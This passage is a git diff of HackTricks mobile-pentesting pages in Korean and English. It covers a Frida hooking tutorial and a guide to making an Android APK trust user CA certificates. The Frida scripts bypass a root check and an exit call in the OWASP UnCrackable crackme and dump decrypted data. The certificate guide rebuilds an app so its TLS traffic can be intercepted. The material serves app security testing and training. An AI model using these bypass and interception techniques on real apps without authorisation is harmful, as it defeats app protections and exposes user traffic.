+ +HackTricks 지원하기 + +* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.** + +
+{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md b/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md index 99740775f..e9499c5cc 100644 --- a/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md +++ b/mobile-pentesting/android-app-pentesting/frida-tutorial/README.md @@ -1,34 +1,35 @@ -# Frida 튜토리얼 +# Frida Tutorial + +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +Support HackTricks -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
-**버그 바운티 팁**: **해커들에 의해 만들어진 프리미엄 버그 바운티 플랫폼인 Intigriti에 가입**하세요! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 참여하여 최대 **$100,000**의 바운티를 받으세요! +**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! {% embed url="https://go.intigriti.com/hacktricks" %} ## 설치 -**frida 도구**를 설치하세요: +**frida tools** 설치: ```bash pip install frida-tools pip install frida ``` -**frida 서버**를 안드로이드에 **다운로드하고 설치**하세요 ([최신 릴리스 다운로드](https://github.com/frida/frida/releases)).\ -루트 모드에서 adb를 재시작하고 연결한 후, frida-server를 업로드하고 실행 권한을 부여하여 백그라운드에서 실행하는 원라이너입니다: +**안드로이드에** **frida server**를 **다운로드하고 설치**하세요 ([최신 릴리스 다운로드](https://github.com/frida/frida/releases)).\ +adb를 루트 모드로 재시작하고, 연결하고, frida-server를 업로드하고, 실행 권한을 부여한 후 백그라운드에서 실행하는 원라이너: {% code overflow="wrap" %} ```bash @@ -36,40 +37,40 @@ adb root; adb connect localhost:6000; sleep 1; adb push frida-server /data/local ``` {% endcode %} -**작동하는지** 확인하세요: +**작동하는지 확인**: ```bash frida-ps -U #List packages and processes frida-ps -U | grep -i #Get all the package name ``` -## 튜토리얼 +## Tutorials -### [튜토리얼 1](frida-tutorial-1.md) +### [Tutorial 1](frida-tutorial-1.md) -**출처**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ +**From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ -**소스 코드**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) +**Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) -**[링크를 클릭하여 읽어보세요](frida-tutorial-1.md).** +**Follow the [link to read it](frida-tutorial-1.md).** -### [튜토리얼 2](frida-tutorial-2.md) +### [Tutorial 2](frida-tutorial-2.md) -**출처**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (파트 2, 3 및 4)\ -**APK 및 소스 코드**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) +**From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\ +**APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) -**[링크를 클릭하여 읽어보세요](frida-tutorial-2.md).** +**Follow the[ link to read it.](frida-tutorial-2.md)** -### [튜토리얼 3](owaspuncrackable-1.md) +### [Tutorial 3](owaspuncrackable-1.md) -**출처**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ +**From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk) -**[링크를 클릭하여 읽어보세요](owaspuncrackable-1.md).** +**Follow the [link to read it](owaspuncrackable-1.md).** -**더 많은 멋진 Frida 스크립트를 찾을 수 있습니다:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) +**You can find more Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) -## 빠른 예제 +## Quick Examples -### 명령 줄에서 Frida 호출하기 +### Calling Frida from command line ```bash frida-ps -U @@ -83,70 +84,6 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1 #continue execution with our modified code. ``` ### 기본 Python 스크립트 - -```python -import frida - -# Attach to the target process -session = frida.attach("com.example.app") - -# Define the JavaScript code to be injected -js_code = """ -Java.perform(function () { - // Hook the target method - var targetClass = Java.use("com.example.app.TargetClass"); - targetClass.targetMethod.implementation = function () { - // Modify the behavior of the target method - console.log("Target method hooked!"); - // Call the original method - this.targetMethod(); - }; -}); -""" - -# Create the script -script = session.create_script(js_code) - -# Load the script into the target process -script.load() - -# Detach from the target process -session.detach() -``` - -위의 Python 스크립트는 [Frida](https://frida.re/)를 사용하여 타겟 프로세스에 주입할 JavaScript 코드를 정의하고 실행하는 기본적인 예제입니다. - -```python -import frida - -# 타겟 프로세스에 연결 -session = frida.attach("com.example.app") - -# 주입할 JavaScript 코드 정의 -js_code = """ -Java.perform(function () { - // 타겟 메소드 후킹 - var targetClass = Java.use("com.example.app.TargetClass"); - targetClass.targetMethod.implementation = function () { - // 타겟 메소드의 동작 수정 - console.log("타겟 메소드 후킹됨!"); - // 원본 메소드 호출 - this.targetMethod(); - }; -}); -""" - -# 스크립트 생성 -script = session.create_script(js_code) - -# 스크립트를 타겟 프로세스에 로드 -script.load() - -# 타겟 프로세스와 연결 해제 -session.detach() -``` - -이 스크립트는 `com.example.app`이라는 타겟 앱에 대해 Frida를 사용하여 JavaScript 코드를 주입하고 실행하는 방법을 보여줍니다. 타겟 앱의 `TargetClass`라는 클래스의 `targetMethod` 메소드를 후킹하여 동작을 수정하고, 원본 메소드를 호출하는 예제입니다. ```python import frida, sys @@ -157,9 +94,9 @@ print('[ * ] Running Frida Demo application') script.load() sys.stdin.read() ``` -### 매개변수가 없는 함수 후킹 +### 매개변수 없이 함수 훅킹하기 -`sg.vantagepoint.a.c` 클래스의 `a()` 함수를 후킹하세요. +클래스 `sg.vantagepoint.a.c`의 함수 `a()`를 훅킹합니다. ```javascript Java.perform(function () { ; rootcheck1.a.overload().implementation = function() { @@ -169,136 +106,14 @@ return false; }; }); ``` -# Frida Tutorial: Hooking Java `exit()` - -In this tutorial, we will learn how to hook the `exit()` method in Java using Frida. By hooking this method, we can intercept the application's exit calls and perform additional actions before the application terminates. - -## Prerequisites - -Before we begin, make sure you have the following: - -- A rooted Android device or an emulator -- Frida installed on your machine -- Basic knowledge of JavaScript and Java - -## Steps - -1. Start by creating a new JavaScript file, for example `hook_exit.js`, and open it in a text editor. - -2. Import the necessary Frida modules at the beginning of the file: - -```javascript -const { Java } = require('frida'); -``` - -3. Attach Frida to the target application using the package name or process ID: - -```javascript -const processName = 'com.example.app'; -const session = Java.openSession(); -const target = Java.choose(processName, { - onMatch: function (instance) { - return instance; - }, - onComplete: function () { - console.log('Target not found'); - session.detach(); - } -}); -``` - -4. Define the hook function that will be executed when `exit()` is called: - -```javascript -function onExit() { - console.log('Exit called'); - // Additional actions can be performed here -} -``` - -5. Hook the `exit()` method using the `Java.use()` function: - -```javascript -const System = Java.use('java.lang.System'); -System.exit.implementation = function () { - onExit(); - this.exit(); -}; -``` - -6. Save the JavaScript file and start the Frida server on your Android device or emulator. - -7. Launch the target application on the device or emulator. - -8. Use Frida to inject the JavaScript code into the target application: - -```bash -frida -U -l hook_exit.js -f com.example.app -``` - -Replace `com.example.app` with the package name of the target application. - -9. You should see the message "Exit called" printed in the console whenever the `exit()` method is called in the target application. - -## Conclusion - -By hooking the `exit()` method in Java using Frida, we can intercept the application's exit calls and perform additional actions. This technique can be useful for debugging, analyzing, or modifying the behavior of Android applications during penetration testing. +Hook java `exit()` ```javascript var sysexit = Java.use("java.lang.System"); sysexit.exit.overload("int").implementation = function(var_0) { send("java.lang.System.exit(I)V // We avoid exiting the application :)"); }; ``` -# Frida Tutorial: Hook MainActivity `.onStart()` & `.onCreate()` - -이 튜토리얼에서는 Frida를 사용하여 Android 앱의 `MainActivity` 클래스의 `.onStart()` 및 `.onCreate()` 메서드를 후킹하는 방법을 배우게 됩니다. - -## Frida란? - -Frida는 동적 분석 도구로서, 앱의 실행 중에 코드를 수정하고 감시할 수 있도록 해주는 오픈 소스 프레임워크입니다. Frida를 사용하면 앱의 동작을 실시간으로 조작하고 분석할 수 있습니다. - -## 필요한 도구 - -이 튜토리얼을 완료하기 위해 다음 도구들이 필요합니다: - -- Frida CLI (Command Line Interface) -- 안드로이드 디바이스 또는 에뮬레이터 - -## 단계별 지침 - -1. Frida를 설치하고 환경을 설정합니다. Frida CLI를 사용하여 Frida를 설치하고 안드로이드 디바이스 또는 에뮬레이터와 연결합니다. - -2. Frida 스크립트를 작성합니다. 다음과 같은 내용으로 `hook.js` 파일을 생성합니다: - -```javascript -Java.perform(function() { - var MainActivity = Java.use('com.example.app.MainActivity'); - - MainActivity.onStart.implementation = function() { - console.log('MainActivity.onStart() hooked'); - this.onStart(); - }; - - MainActivity.onCreate.implementation = function() { - console.log('MainActivity.onCreate() hooked'); - this.onCreate(); - }; -}); -``` - -3. Frida 스크립트를 실행합니다. 다음 명령어를 사용하여 Frida 스크립트를 실행합니다: - -```bash -frida -U -l hook.js -f com.example.app -``` - -4. 앱을 실행합니다. Frida 스크립트가 실행 중인 동안 앱을 실행합니다. - -5. 결과 확인. 앱이 `.onStart()` 또는 `.onCreate()` 메서드를 호출할 때마다 Frida 스크립트에서 정의한 후킹 함수가 실행되고 로그가 출력됩니다. - -## 결론 - -이 튜토리얼에서는 Frida를 사용하여 Android 앱의 `MainActivity` 클래스의 `.onStart()` 및 `.onCreate()` 메서드를 후킹하는 방법을 배웠습니다. Frida를 사용하면 앱의 동작을 실시간으로 조작하고 분석할 수 있으므로, 앱의 동작을 이해하고 보안 취약점을 발견하는 데 도움이 됩니다. +Hook MainActivity `.onStart()` & `.onCreate()` ```javascript var mainactivity = Java.use("sg.vantagepoint.uncrackable1.MainActivity"); mainactivity.onStart.overload().implementation = function() { @@ -310,41 +125,7 @@ send("MainActivity.onCreate() HIT!!!"); var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0); }; ``` -# 안드로이드 `.onCreate()` 후킹 - -안드로이드 앱을 펜테스팅할 때, `.onCreate()` 메서드를 후킹하는 것은 매우 유용합니다. `.onCreate()` 메서드는 액티비티가 생성될 때 호출되는 메서드로, 앱의 초기화 및 설정을 담당합니다. 이 메서드를 후킹하여 앱의 동작을 조작하거나 중요한 정보를 수집할 수 있습니다. - -Frida를 사용하여 안드로이드 앱의 `.onCreate()` 메서드를 후킹하는 방법은 다음과 같습니다: - -1. Frida를 설치하고 타겟 디바이스에 Frida 서버를 설치합니다. -2. Frida 스크립트를 작성하여 `.onCreate()` 메서드를 후킹합니다. -3. Frida 스크립트를 실행하여 후킹을 적용합니다. - -다음은 Frida 스크립트의 예시입니다: - -```javascript -Java.perform(function() { - var targetClass = Java.use('com.example.app.MainActivity'); - targetClass.onCreate.implementation = function() { - console.log('Hooked .onCreate()'); - // 원하는 동작을 수행합니다. - // 예: 중요한 정보를 수집하거나 조작합니다. - this.onCreate(); - }; -}); -``` - -위 스크립트는 `com.example.app.MainActivity` 클래스의 `.onCreate()` 메서드를 후킹하고, 후킹이 적용되었음을 로그로 출력합니다. 원하는 동작을 수행한 후, `this.onCreate()`을 호출하여 원래의 `.onCreate()` 메서드를 실행합니다. - -Frida 스크립트를 작성한 후, 다음 명령을 사용하여 Frida 스크립트를 실행합니다: - -``` -frida -U -f com.example.app -l script.js --no-pause -``` - -위 명령에서 `com.example.app`은 타겟 앱의 패키지 이름이며, `script.js`는 작성한 Frida 스크립트 파일입니다. - -`.onCreate()` 메서드를 후킹하여 안드로이드 앱을 조작하거나 중요한 정보를 수집하는 것은 펜테스팅 과정에서 매우 유용한 기술입니다. Frida를 사용하여 이를 실현할 수 있습니다. +Hook android `.onCreate()` ```javascript var activity = Java.use("android.app.Activity"); activity.onCreate.overload("android.os.Bundle").implementation = function(var_0) { @@ -352,9 +133,9 @@ send("Activity HIT!!!"); var ret = this.onCreate.overload("android.os.Bundle").call(this,var_0); }; ``` -### 매개변수와 값을 검색하여 함수 후킹하기 +### 매개변수가 있는 함수 후킹 및 값 검색 -복호화 함수 후킹하기. 입력값을 출력하고, 원래 함수를 호출하여 입력값을 복호화하고, 마지막으로 평문 데이터를 출력합니다: +복호화 함수를 후킹합니다. 입력을 출력하고, 원래 함수를 호출하여 입력을 복호화한 다음, 평문 데이터를 출력합니다: ```javascript function getString(data){ var ret = ""; @@ -379,9 +160,9 @@ send("Decrypted flag: " + flag); return ret; //[B }; ``` -### 함수 후킹 및 입력값으로 호출하기 +### 함수 후킹 및 입력으로 호출하기 -문자열을 받는 함수를 후킹하고, 다른 문자열로 호출합니다 ([여기](https://11x256.github.io/Frida-hooking-android-part-2/)에서 가져옴). +문자열을 받는 함수를 후킹하고 다른 문자열로 호출하기 ([여기서](https://11x256.github.io/Frida-hooking-android-part-2/)) ```javascript var string_class = Java.use("java.lang.String"); // get a JS wrapper for java's String class @@ -393,11 +174,11 @@ console.log("Return value: "+ret); return ret; }; ``` -### 클래스의 이미 생성된 객체 가져오기 +### 이미 생성된 클래스 객체 가져오기 -만약 생성된 객체의 어트리뷰트를 추출하고 싶다면, 다음을 사용할 수 있습니다. +생성된 객체의 일부 속성을 추출하려면 다음을 사용할 수 있습니다. -이 예제에서는 클래스 my\_activity의 객체를 가져오고, 객체의 비공개 어트리뷰트를 출력하는 함수 .secret()를 호출하는 방법을 볼 수 있습니다. +이 예제에서는 my\_activity 클래스의 객체를 가져오는 방법과 객체의 비공개 속성을 출력하는 .secret() 함수를 호출하는 방법을 보여줍니다: ```javascript Java.choose("com.example.a11x256.frida_test.my_activity" , { onMatch : function(instance){ //This function will be called for every instance found by frida @@ -410,26 +191,25 @@ onComplete:function(){} ## 다른 Frida 튜토리얼 * [https://github.com/DERE-ad2001/Frida-Labs](https://github.com/DERE-ad2001/Frida-Labs) -* [고급 Frida 사용 블로그 시리즈의 1부: IOS 암호화 라이브러리](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/) - - +* [고급 Frida 사용 블로그 시리즈 1부: IOS 암호화 라이브러리](https://8ksec.io/advanced-frida-usage-part-1-ios-encryption-libraries-8ksec-blogs/)
-**버그 바운티 팁**: 해커들이 만든 프리미엄 버그 바운티 플랫폼인 **Intigriti에 가입**하세요! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 가입하고 최대 **$100,000**의 바운티를 받으세요! +**버그 바운티 팁**: **해커를 위해 해커가 만든 프리미엄** **버그 바운티 플랫폼인 Intigriti에** **가입하세요**! 오늘 [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks)에서 저희와 함께하고 최대 **$100,000**의 보상을 받기 시작하세요! {% embed url="https://go.intigriti.com/hacktricks" %} +{% hint style="success" %} +AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +HackTricks 지원하기 -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. +* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.
+{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/intent-injection.md b/mobile-pentesting/android-app-pentesting/intent-injection.md index 369110791..cfa4b8ae1 100644 --- a/mobile-pentesting/android-app-pentesting/intent-injection.md +++ b/mobile-pentesting/android-app-pentesting/intent-injection.md @@ -1,31 +1,33 @@ -
- -htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! - -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. - -
- - -**다음을 확인하세요: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)** - +{% hint style="success" %} +AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team Expert)를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요! +HackTricks 지원하기 -HackTricks를 지원하는 다른 방법: - -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요. -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다. -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를 팔로우**하세요. -* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. +* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
+{% endhint %} + + +**다음 링크를 확인하세요: [https://blog.oversecured.com/Android-Access-to-app-protected-components/](https://blog.oversecured.com/Android-Access-to-app-protected-components/)** + + +{% hint style="success" %} +AWS 해킹 배우기 및 연습하기:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +GCP 해킹 배우기 및 연습하기: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +HackTricks 지원하기 + +* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기! +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.** +* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.** + +
+{% endhint %} diff --git a/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md b/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md index 162d75f60..b1447c7ff 100644 --- a/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md +++ b/mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md @@ -1,53 +1,51 @@ -# Make APK Accept CA Certificate +{% hint style="success" %} +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 영웅까지 AWS 해킹 배우기 +Support HackTricks -다른 방법으로 HackTricks를 지원하는 방법: - -* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요 -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 -* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요. -* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %} **Try Hard Security Group** -
+
{% embed url="https://discord.gg/tryhardsecurity" %} *** -일부 애플리케이션은 사용자가 다운로드한 인증서를 좋아하지 않기 때문에 일부 앱의 웹 트래픽을 검사하려면 실제로 애플리케이션을 디컴파일하고 몇 가지를 추가한 후 다시 컴파일해야 합니다. +일부 애플리케이션은 사용자가 다운로드한 인증서를 좋아하지 않으므로, 일부 앱의 웹 트래픽을 검사하기 위해 실제로 애플리케이션을 디컴파일하고 몇 가지를 추가한 후 다시 컴파일해야 합니다. -## 자동 +# Automatic -도구 [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm)은 애플리케이션에 필요한 변경 사항을 **자동으로** 수행하여 요청을 캡처하고 인증서 핀을 비활성화합니다(있는 경우). +도구 [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm)는 요청을 캡처하기 위해 애플리케이션에 필요한 변경 사항을 **자동으로** 수행하고 인증서 핀닝을 비활성화합니다(있는 경우). -## 수동 +# Manual 먼저 앱을 디컴파일합니다: `apktool d *file-name*.apk` ![](../../.gitbook/assets/img9.png) -그런 다음 **Manifest.xml** 파일로 이동하여 `<\application android>` 태그로 스크롤하고 다음 라인을 추가합니다(이미 있지 않은 경우): +그런 다음 **Manifest.xml** 파일로 들어가 `<\application android>` 태그로 스크롤하여 다음 줄이 이미 없으면 추가합니다: `android:networkSecurityConfig="@xml/network_security_config` -추가하기 전: +추가 전: ![](../../.gitbook/assets/img10.png) -추가한 후: +추가 후: ![](../../.gitbook/assets/img11.png) -이제 **res/xml** 폴더로 이동하여 다음 내용으로 network\_security\_config.xml이라는 파일을 생성/수정하세요: - +이제 **res/xml** 폴더로 들어가 network\_security\_config.xml이라는 파일을 다음 내용으로 생성/수정합니다: ```markup @@ -60,27 +58,28 @@ ``` - -그런 다음 파일을 저장하고 모든 디렉토리에서 빠져나와 다음 명령을 사용하여 apk를 다시 빌드하십시오: `apktool b *폴더-이름/* -o *출력-파일.apk*` +그런 다음 파일을 저장하고 모든 디렉토리에서 나와서 다음 명령어로 apk를 다시 빌드합니다: `apktool b *folder-name/* -o *output-file.apk*` ![](../../.gitbook/assets/img12.png) -마지막으로, **새 응용 프로그램에 서명**만 하면 됩니다. [이 페이지의 Smali - Decompiling/\[Modifying\]/Compiling 섹션을 읽어서 어떻게 서명하는지 알아보세요](smali-changes.md#sing-the-new-apk). +마지막으로, **새 애플리케이션에 서명해야 합니다**. [서명하는 방법을 배우려면 이 페이지의 Smali - Decompiling/\[Modifying\]/Compiling 섹션을 읽으세요](smali-changes.md#sing-the-new-apk).
-htARTE (HackTricks AWS Red Team Expert)를 통해 **제로부터 영웅까지 AWS 해킹을 배우세요**! - **Try Hard Security Group** - +
+ +{% embed url="https://discord.gg/tryhardsecurity" %} + +제로에서 영웅까지 AWS 해킹 배우기 htARTE (HackTricks AWS Red Team Expert)! HackTricks를 지원하는 다른 방법: -* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요! -* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요 -* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 -* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)에서 **팔로우**하세요. -* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요. +* **HackTricks에 귀사의 광고를 보고 싶거나** **HackTricks를 PDF로 다운로드하고 싶다면** [**구독 계획**](https://github.com/sponsors/carlospolop)을 확인하세요! +* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com) 받기 +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family), 우리의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션 발견하기 +* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나** **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**을 팔로우하세요.** +* **해킹 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 